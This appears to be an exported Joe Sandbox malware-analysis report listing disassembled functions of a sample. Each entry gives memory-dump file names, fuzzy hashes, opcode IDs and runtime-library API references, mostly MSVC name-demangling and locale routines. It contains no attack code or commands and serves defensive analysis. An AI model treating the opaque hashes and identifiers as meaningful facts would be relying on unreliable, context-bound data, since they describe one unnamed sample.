Instruction ID: b076bce57d5be48a75cf60b818044334c13c603132d9dcd2243aa7fd3e09152a
Opcode Fuzzy Hash: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction Fuzzy Hash: 13E08C32921238EFCB14DB98C904A8EF3FCEB85B00B154496B502D3250C271DE40C7D0

Function 00935582 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction ID: d256f1c99479b207678580fcb63197705f640815169115519c5f26934de16b0c
Opcode Fuzzy Hash: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction Fuzzy Hash: 1AE06C78A61648EFC740CF48C185E49B3F8FB09768F118095E905DB321C378EE00EB50

Function 008F2003 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c7c585e62a9e423a803baf6e9e91127aa3e8f88cd0aa8fe4d01de4af0b6825c
Instruction ID: 3ab54aaeb3fa1e0a7ae0a17f1be772411e59c2f14a6ec2be03150adff7783981
Opcode Fuzzy Hash: 1c7c585e62a9e423a803baf6e9e91127aa3e8f88cd0aa8fe4d01de4af0b6825c
Instruction Fuzzy Hash: 8FD0953A615A109FC210CF09E480941F7B8FB99630B1681A6E908A3B20C330FC42CAE0

Function 00900F2E Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction ID: 3449be3a0564c73eb5e381bedb72feb71b89988c0df774fd06d162984862fa0e
Opcode Fuzzy Hash: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction Fuzzy Hash: 66C08C34001A008ECE39891082713A43369ABE2782F8404CCDE1A0B7C2C51E9C82EA01

Function 0091E362 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction ID: 6edc1f77bc014f77afb1dd4525fcd7db61d9a3eb149a076bd6fc7a55924a73f3
Opcode Fuzzy Hash: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction Fuzzy Hash: D9C08C72529208EFD70DCB84D613F5AB3FCE704758F10409CE00293780C67DAB00CA58

Function 0091E37A Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction ID: 5941d710df6caaa93d6ffa2de60dce8e613dec4f923ccdd24a2439a3e016513d
Opcode Fuzzy Hash: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction Fuzzy Hash: DAA002315569D48ECE53D7158260F207BB8A741A41F0504D1E491C6863C11CDA50D950

Function 0093F54E Relevance: 54.3, APIs: 36, Instructions: 344
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

operator+.LIBCMT ref: 0093F569

Part of subcall function 0093C678: DName::DName.LIBCMT ref: 0093C68B
Part of subcall function 0093C678: DName::operator+.LIBCMT ref: 0093C692

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: NameName::Name::operator+operator+
String ID:
API String ID: 2937105810-0
Opcode ID: 2d53c3902569e9784ef8fb12d3ca9c9f454977bad3efebfb259204c3ad6fcad2
Instruction ID: c5b97e3064784fe92fa5cc26093c3ab18033275942bbeefcc5f70bcbc23f1cff
Opcode Fuzzy Hash: 2d53c3902569e9784ef8fb12d3ca9c9f454977bad3efebfb259204c3ad6fcad2
Instruction Fuzzy Hash: 5ED10DB5D00209AFDB14DFA8D895AEEBBF8EF48305F10446AF506E7291EB349A44CF51

Function 00940296 Relevance: 27.3, APIs: 18, Instructions: 274
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnDecorator::getECSUDataType.LIBCMT ref: 00940435
DName::operator=.LIBCMT ref: 009404E3
DName::operator+=.LIBCMT ref: 0094050E
DName::DName.LIBCMT ref: 00940573
DName::operator+.LIBCMT ref: 0094057A
DName::DName.LIBCMT ref: 0094059D
DName::operator+.LIBCMT ref: 009405A4
DName::operator+=.LIBCMT ref: 009405B0
DName::operator=.LIBCMT ref: 009405D7
DName::operator+=.LIBCMT ref: 009405E9
UnDecorator::getPtrRefType.LIBCMT ref: 00940612
operator+.LIBCMT ref: 00940624

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Decorator::getNameName::Name::operator+Name::operator=Type$Dataoperator+
String ID:
API String ID: 1129569759-0
Opcode ID: 30b1e72d88142c82e2d5552c373b89b4dacb89b85ea205a481f88f5b85183262
Instruction ID: 43e65f994e2770610273bd9b067caeb783806025353ffc26db9505b9ee7f03f1
Opcode Fuzzy Hash: 30b1e72d88142c82e2d5552c373b89b4dacb89b85ea205a481f88f5b85183262
Instruction Fuzzy Hash: 1591C3B1D00249ABCB28DFA8C886EBD7B78EFC4355F248556F711E61A1E7389A40CF54

Function 00945B0C Relevance: 24.1, APIs: 16, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 00945B25
__calloc_crt.LIBCMT ref: 00945B49
_free.LIBCMT ref: 00945B57
__calloc_crt.LIBCMT ref: 00945B65
_free.LIBCMT ref: 00945B75
_free.LIBCMT ref: 00945B7B
__copytlocinfo_nolock.LIBCMT ref: 00945B8A
__setlocale_nolock.LIBCMT ref: 00945B97
___removelocaleref.LIBCMT ref: 00945BA3
___freetlocinfo.LIBCMT ref: 00945BAA
_free.LIBCMT ref: 00945BB0
__setmbcp_nolock.LIBCMT ref: 00945BC2
_free.LIBCMT ref: 00945BD0
___removelocaleref.LIBCMT ref: 00945BD7
___freetlocinfo.LIBCMT ref: 00945BDE
_free.LIBCMT ref: 00945BE4

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref$__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 2193103758-0
Opcode ID: 784abcef5afcd593a1ca4234ae08e44cf487d9407e5e4ef41eebf28f0038ada9
Instruction ID: e1a944ecce7c63bdb94f022e02ba160c0408a98f1020e8e2fbfecb1a79b0a93a
Opcode Fuzzy Hash: 784abcef5afcd593a1ca4234ae08e44cf487d9407e5e4ef41eebf28f0038ada9
Instruction Fuzzy Hash: F321B535144A01EFD7267FA5D802F0FBBE8DFC5750B22842AF489A61A3DF319D508A55

Function 0093C93A Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnDecorator::getArgumentList.LIBCMT ref: 0093C95F

Part of subcall function 0093C4FA: Replicator::operator[].LIBCMT ref: 0093C57D
Part of subcall function 0093C4FA: DName::operator+=.LIBCMT ref: 0093C585

DName::operator+.LIBCMT ref: 0093C9B8
DName::DName.LIBCMT ref: 0093CA10

Strings

D;C, xrefs: 0093C9A4
8;C, xrefs: 0093C9AB
(;C, xrefs: 0093C9FA
4;C, xrefs: 0093C9F3

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: (;C$4;C$8;C$D;C
API String ID: 834187326-2621726175
Opcode ID: a0090458237679d067ced1afd8bb8c1e263f460860677f0579ee007d7b594e8e
Instruction ID: b925074aab4c903374cd7d4d35234c281f1a8cdd70b01ced145ac13d26acf94b
Opcode Fuzzy Hash: a0090458237679d067ced1afd8bb8c1e263f460860677f0579ee007d7b594e8e
Instruction Fuzzy Hash: D0217F71601A48AFCB15DF1CD845AA9BBF4FF4534AF048166E846EB362EB30E942CF44

Function 008FA5C8 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 008FA6E7
___TypeMatch.LIBVCRUNTIME ref: 008FA7F5
CallUnexpected.LIBVCRUNTIME ref: 008FA962

Strings

csm, xrefs: 008FA71E
csm, xrefs: 008FA672
csm, xrefs: 008FA605

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: 19c4eb20f60fd69f21e744da3920afe42f77c0eb3276a10e64f93cb07967bacb
Instruction ID: f668997bc598d4ce065d30d5ca3a4489292115b7f8312d762882680913d76690
Opcode Fuzzy Hash: 19c4eb20f60fd69f21e744da3920afe42f77c0eb3276a10e64f93cb07967bacb
Instruction Fuzzy Hash: 2EB14BB190020D9FCF19DFB8C9819BEBBB5FF14320B14416AEA19AB212D771D951CB92

Function 00905F4A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,F8250000,?,AADF6F49,?,00906057,008FC446,?,F8250000,00000000), ref: 0090600B

Strings

ext-ms-, xrefs: 00905FB5
api-ms-, xrefs: 00905FA1

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: aa4c949cae2c4c21585fc3a6048d97a0204e2eb0b12f08b43e665277b1dd335d
Instruction ID: 8e7d348c9631875cc8d3c4818ec5ddf9e3b91ad9e3ec0e4fd93453e16c5ac3b8
Opcode Fuzzy Hash: aa4c949cae2c4c21585fc3a6048d97a0204e2eb0b12f08b43e665277b1dd335d
Instruction Fuzzy Hash: B4210872A04512AFC7229B259C40B9F376CAF453A4B264110FA05BB2D0D734ED41DAA0

Function 0093E2D3 Relevance: 10.6, APIs: 7, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 0093E2DD
DName::DName.LIBCMT ref: 0093E2E9

Part of subcall function 0093BFB4: DName::doPchar.LIBCMT ref: 0093BFE5

UnDecorator::getScopedName.LIBCMT ref: 0093E328
DName::operator+=.LIBCMT ref: 0093E332
DName::operator+=.LIBCMT ref: 0093E341
DName::operator+=.LIBCMT ref: 0093E34D
DName::operator+=.LIBCMT ref: 0093E35A

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID:
API String ID: 1480779885-0
Opcode ID: 23bb66ba7c0c68d0bfc5bce08223bbb55780766e01e2ba2a51e198509357868b
Instruction ID: 58e58ac34b8d7a5a30695479603ebbf5852c801c4524229dd9e767d463969695
Opcode Fuzzy Hash: 23bb66ba7c0c68d0bfc5bce08223bbb55780766e01e2ba2a51e198509357868b
Instruction Fuzzy Hash: 67118271904248AFDB05EB68C85ABFD7BB4AF40301F4440A9E106EB2E2DB709E45CF51

Function 0090F356 Relevance: 9.3, APIs: 6, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4a5f1a5cfa11c057f7186027ea3b39f0c360d4397f0480853d3c3239c6cbb43
Instruction ID: 7630c0272bf3e975f0dd93b02639cca25834612e9d2f60aec1dd2d65e6817b06
Opcode Fuzzy Hash: c4a5f1a5cfa11c057f7186027ea3b39f0c360d4397f0480853d3c3239c6cbb43
Instruction Fuzzy Hash: BBB10471A042099FDB21DFA8C8A0BBE7BB5FF85310F148169E504AB6E2C7759E41CF61

Function 009402F3 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 009404E3

Part of subcall function 0093C2B4: DName::doPchar.LIBCMT ref: 0093C2DD

DName::DName.LIBCMT ref: 00940573
DName::operator+.LIBCMT ref: 0094057A
DName::DName.LIBCMT ref: 0094059D
DName::operator+.LIBCMT ref: 009405A4
DName::operator+=.LIBCMT ref: 009405B0
DName::operator=.LIBCMT ref: 009405D7
DName::operator+=.LIBCMT ref: 009405E9
DName::operator=.LIBCMT ref: 009405FD
UnDecorator::getPtrRefType.LIBCMT ref: 00940612
operator+.LIBCMT ref: 00940624

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: c5ff01363cc5be2414fde705ddc2477139869efe325205967f2b79d65d07f3e5
Instruction ID: b9ba90855ac4ad35c176e87d02fe26b2fce59b3abbe00e53be2d14e8235616e3
Opcode Fuzzy Hash: c5ff01363cc5be2414fde705ddc2477139869efe325205967f2b79d65d07f3e5
Instruction Fuzzy Hash: 2B215C76E0014A9ACF18DEBDC949EBDBBB8DB84305F54416AF711E7684DA34DE048F10

Function 009402FD Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 009404E3

Part of subcall function 0093C2B4: DName::doPchar.LIBCMT ref: 0093C2DD

DName::DName.LIBCMT ref: 00940573
DName::operator+.LIBCMT ref: 0094057A
DName::DName.LIBCMT ref: 0094059D
DName::operator+.LIBCMT ref: 009405A4
DName::operator+=.LIBCMT ref: 009405B0
DName::operator=.LIBCMT ref: 009405D7
DName::operator+=.LIBCMT ref: 009405E9
DName::operator=.LIBCMT ref: 009405FD
UnDecorator::getPtrRefType.LIBCMT ref: 00940612
operator+.LIBCMT ref: 00940624

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: 41adee5c73aa1e88243f3158e2c40ed16f52e1afc6b9bf2c17e63ec85b627ffa
Instruction ID: 03b5b44cb81cdc47247b7d06c5adfebf1806d0a55832cf595e029f7ce772d124
Opcode Fuzzy Hash: 41adee5c73aa1e88243f3158e2c40ed16f52e1afc6b9bf2c17e63ec85b627ffa
Instruction Fuzzy Hash: 02212C76E0014A9ACF18DEBDC949EBDBBB8EB84305F54816AF711E7685DA34DE048F10

Function 00940311 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 009404E3

Part of subcall function 0093C2B4: DName::doPchar.LIBCMT ref: 0093C2DD

DName::DName.LIBCMT ref: 00940573
DName::operator+.LIBCMT ref: 0094057A
DName::DName.LIBCMT ref: 0094059D
DName::operator+.LIBCMT ref: 009405A4
DName::operator+=.LIBCMT ref: 009405B0
DName::operator=.LIBCMT ref: 009405D7
DName::operator+=.LIBCMT ref: 009405E9
DName::operator=.LIBCMT ref: 009405FD
UnDecorator::getPtrRefType.LIBCMT ref: 00940612
operator+.LIBCMT ref: 00940624

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: 04bf772949b8752548d84cbfff0da56238cecf44966dde39219307ebaddb036f
Instruction ID: 0f446db17cabe1c1ef3d0a8f084b44652acbbfc8b76816264194010a51dcfa41
Opcode Fuzzy Hash: 04bf772949b8752548d84cbfff0da56238cecf44966dde39219307ebaddb036f
Instruction Fuzzy Hash: 8D215C76E0014A9ACF18DEBDC949EBDBBB8EB84305F54416AF711E7684DA34DE048F10

Function 00940307 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 009404E3

Part of subcall function 0093C2B4: DName::doPchar.LIBCMT ref: 0093C2DD

DName::DName.LIBCMT ref: 00940573
DName::operator+.LIBCMT ref: 0094057A
DName::DName.LIBCMT ref: 0094059D
DName::operator+.LIBCMT ref: 009405A4
DName::operator+=.LIBCMT ref: 009405B0
DName::operator=.LIBCMT ref: 009405D7
DName::operator+=.LIBCMT ref: 009405E9
DName::operator=.LIBCMT ref: 009405FD
UnDecorator::getPtrRefType.LIBCMT ref: 00940612
operator+.LIBCMT ref: 00940624

Memory Dump Source

